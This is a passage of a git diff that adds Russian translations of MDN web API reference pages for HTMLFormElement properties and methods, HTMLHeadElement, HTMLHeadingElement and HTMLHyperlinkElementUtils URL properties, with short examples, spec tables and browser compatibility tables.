+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("form") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/length/index.html b/files/ru/web/api/htmlformelement/length/index.html
new file mode 100644
index 0000000000..1c22fb4328
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/length/index.html
@@ -0,0 +1,37 @@
+---
+title: HTMLFormElement.length
+slug: Web/API/HTMLFormElement/length
+translation_of: Web/API/HTMLFormElement/length
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><span class="seoSummary"><code><strong>HTMLFormElement.length</strong></code>  - свойство только для чтения, которое возвращает количество элементов управления в элементе {{HTMLElement("form")}}.</span> Вы можете получить доступ к списку элементов управления формы с помощью свойства {{domxref("HTMLFormElement.elements", "elements")}}.</p>
+
+<p>Это свойство учитывает элементы, которые являются потомками элемента <code>&lt;form&gt;</code>, а также элементы, которые были определены как члены этой формы с помощью их свойства <code>form</code>.</p>
+
+<p>{{page("/en-US/docs/Web/API/HTMLFormElement", "Элементы, которые считаются управляющими элементами форм")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>numControls</var> = <em>form</em>.length;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Количество управляющих элементов внутри формы <code>&lt;form&gt;</code>. Это то же число, что и число элементов в {{domxref("HTMLFormControlsCollection")}}, возвращаемой свойством {{domxref("HTMLFormElement.elements", "elements")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (document.getElementById("form1").length &gt; 1) {
+  // в форме больше одного управляющего элемента
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/html5/forms.html#dom-form-length" title="http://www.w3.org/TR/html5/forms.html#dom-form-length">HTML 5, Section 4.10.3, The form Element</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlformelement/reportvalidity/index.html b/files/ru/web/api/htmlformelement/reportvalidity/index.html
new file mode 100644
index 0000000000..bc4028946c
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/reportvalidity/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLFormElement.reportValidity()
+slug: Web/API/HTMLFormElement/reportValidity
+translation_of: Web/API/HTMLFormElement/reportValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <strong><code>HTMLFormElement.reportValidity()</code></strong> возвращает<span style="line-height: 1.5;"> </span><strong><code style="font-style: normal; line-height: 1.5;">true</code></strong><span style="line-height: 1.5;"> если все дочерние элементы прошли проверку. Когда возвращается </span><strong><code style="font-style: normal; line-height: 1.5;">false</code></strong><span style="line-height: 1.5;">, по каждому дочернему элементу не прошедшему проверку генерируется событие</span><span style="line-height: 1.5;"> <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/invalid" title="/en-US/docs/Web/Events/invalid">invalid</a></code> и пользователю сообщаются проблемы проверки.</span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>HTMLFormElement</em>.reportValidity()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">document.forms["myform"].addEventListener('invalid', function() {
+  //Опциональный ответ здесь.
+}, false);
+
+document.forms["myform"].addEventListener('submit', function() {
+  document.forms["myform"].reportValidity();
+}, false);</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/html/wg/drafts/html/master/semantics.html#the-constraint-validation-api">HTML 5.1 Forms: The Constraint Validation API</a></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/htmlformelement/reset/index.html b/files/ru/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..1d2c858788
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,24 @@
+---
+title: HTMLFormElement.reset()
+slug: Web/API/HTMLFormElement/reset
+translation_of: Web/API/HTMLFormElement/reset
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <strong><code>HTMLFormElement.reset()</code></strong> восстанавливает стандартные значения всем элементам формы. Данный метод выполняет действие идентичное нажатию кнопки имеющей тип reset.</p>
+
+<p>Если элемент управления формы (такой как кнопка типа reset) имеет имя или идентификатор reset, это маскирует метод <strong><code>HTMLFormElement.reset()</code></strong>. Это не сбрасывает другие атрибуты, такие как <strong>disabled</strong>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>HTMLFormElement</em>.reset()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">document.getElementById('myform').reset();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<p><a href="http://www.w3.org/html/wg/drafts/html/master/semantics.html#resetting-a-form">HTML 5.1 Nightly: Resetting a form</a></p>
diff --git a/files/ru/web/api/htmlformelement/submit/index.html b/files/ru/web/api/htmlformelement/submit/index.html
new file mode 100644
index 0000000000..4df609cd44
--- /dev/null
+++ b/files/ru/web/api/htmlformelement/submit/index.html
@@ -0,0 +1,56 @@
+---
+title: HTMLFormElement.submit()
+slug: Web/API/HTMLFormElement/submit
+tags:
+  - HTMLFormElement
+translation_of: Web/API/HTMLFormElement/submit
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Метод <strong><code>HTMLFormElement.submit()</code></strong> позволяет отправить форму {{HtmlElement("form")}}.</p>
+
+<p>Этот метод похож, но не идентичен кнопке {{HtmlElement("button")}}. , который активирует отправку формы.   Однако при непосредственном вызове этого метода:</p>
+
+<ul>
+ <li>Событие {{event("submit")}} не инициировано. В частности, обработчик события {{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}} для данной формы не запускается.</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Проверка ограничений</a> не запускается.</li>
+</ul>
+
+<p>Метод {{domxref("HTMLFormElement.requestSubmit()")}} идентичен кнопке {{HtmlElement("button")}} , которая активирует отправку формы и не имеет различий, указанных выше.</p>
+
+<p>Если элемент управления формы (например, кнопка отправки) имеет <code>name</code> или <code>id</code> кнопки <code>submit</code>, тогда этот метод будет маскировать метод <code>submit</code> формы..</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>HTMLFormElement</em>.submit()
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">document.forms["myform"].submit();
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-form-submit', 'HTMLFormElement: submit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement.submit")}}</p>
diff --git a/files/ru/web/api/htmlheadelement/index.html b/files/ru/web/api/htmlheadelement/index.html
new file mode 100644
index 0000000000..1dfb63025d
--- /dev/null
+++ b/files/ru/web/api/htmlheadelement/index.html
@@ -0,0 +1,132 @@
+---
+title: HTMLHeadElement
+slug: Web/API/HTMLHeadElement
+translation_of: Web/API/HTMLHeadElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <strong><code>HTMLHeadElement</code></strong> содержит описательную информацию, или метаданные, для документа. Этот объект наследует все свойства и методыописанные в {{domxref("HTMLElement")}} интерфейсе.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHeadElement.profile")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющая URI одного или более профилей методанных (через запятую).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилась с последнего снимка, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Не изменилось с {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующее свойство было удалено: <code>profile</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>profile</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 7.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>profile</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 7.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlheadingelement/index.html b/files/ru/web/api/htmlheadingelement/index.html
new file mode 100644
index 0000000000..e031fba028
--- /dev/null
+++ b/files/ru/web/api/htmlheadingelement/index.html
@@ -0,0 +1,69 @@
+---
+title: HTMLHeadingElement
+slug: Web/API/HTMLHeadingElement
+translation_of: Web/API/HTMLHeadingElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLHeadingElement</code></strong> интерфейс представляет различные элементы заголовков. Наследует методы и свойства из {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHeadingElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing an enumerated attribute indicating alignment of the heading with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, and <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlheadingelement", "HTMLHeadingElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements", "HTMLHeadingElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The <code>align</code> property is now obsolete.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-43345119', 'HTMLHeadingElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-43345119', 'HTMLHeadingElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLHeadingElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, and {{ HTMLElement("h6") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html
new file mode 100644
index 0000000000..8a135ab828
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/hash/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLHyperlinkElementUtils.hash
+slug: Web/API/HTMLHyperlinkElementUtils/hash
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/hash
+---
+<p>{{ APIRef("URLUtils") }}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.hash</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий <code>'#'</code> с последующим идентификатором. Идентификатор не декодирован.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.hash;
+<em>object</em>.hash = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hash; // Вернет: '#youhou'</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("22")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("22")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс. Также с Gecko 29 по Gecko 40 значение ошибочно возвращалось декодированным.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/host/index.html b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html
new file mode 100644
index 0000000000..742386e83b
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/host/index.html
@@ -0,0 +1,116 @@
+---
+title: HTMLHyperlinkElementUtils.host
+slug: Web/API/HTMLHyperlinkElementUtils/host
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/host
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.host</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий хост, а именно <em>имя хоста</em> и, если <em>порт</em> не пустой, <code>':'</code> и <em>порт</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.host;
+<em>object.<code>host</code></em> = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var anchor = document.createElement("a");
+
+anchor.href = "https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+
+anchor.href = "https://developer.mozilla.org:443/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org"
+// Номер порта пропущен, потому что 443 используется по умолчанию
+
+anchor.href = "https://developer.mozilla.org:4097/en-US/HTMLHyperlinkElementUtils.host"
+anchor.host == "developer.mozilla.org:4097"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-host', 'HTMLHyperlinkElementUtils.host')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22")}} [3]</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("22")}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] В Internet Explorer 9 свойство host элемента {{HTMLElement("a")}} всегда включает порт (т.е. <code>developer.mozilla.org:443</code>), даже если порт в <code>href</code> не указан явно.</p>
+
+<p>[3] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html
new file mode 100644
index 0000000000..da06c3dcb6
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/hostname/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLHyperlinkElementUtils.hostname
+slug: Web/API/HTMLHyperlinkElementUtils/hostname
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/hostname
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.hostname</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий домен.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.hostname;
+<em>object.</em>hostname = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.hostname; // Вернет: 'developer.mozilla.org'</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-protocol', 'URLUtils.hostname')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/href/index.html b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html
new file mode 100644
index 0000000000..03a52f2e51
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/href/index.html
@@ -0,0 +1,108 @@
+---
+title: HTMLHyperlinkElementUtils.href
+slug: Web/API/HTMLHyperlinkElementUtils/href
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Location
+  - Property
+  - Reference
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/href
+---
+<p>{{ApiRef("URL API")}}</p>
+
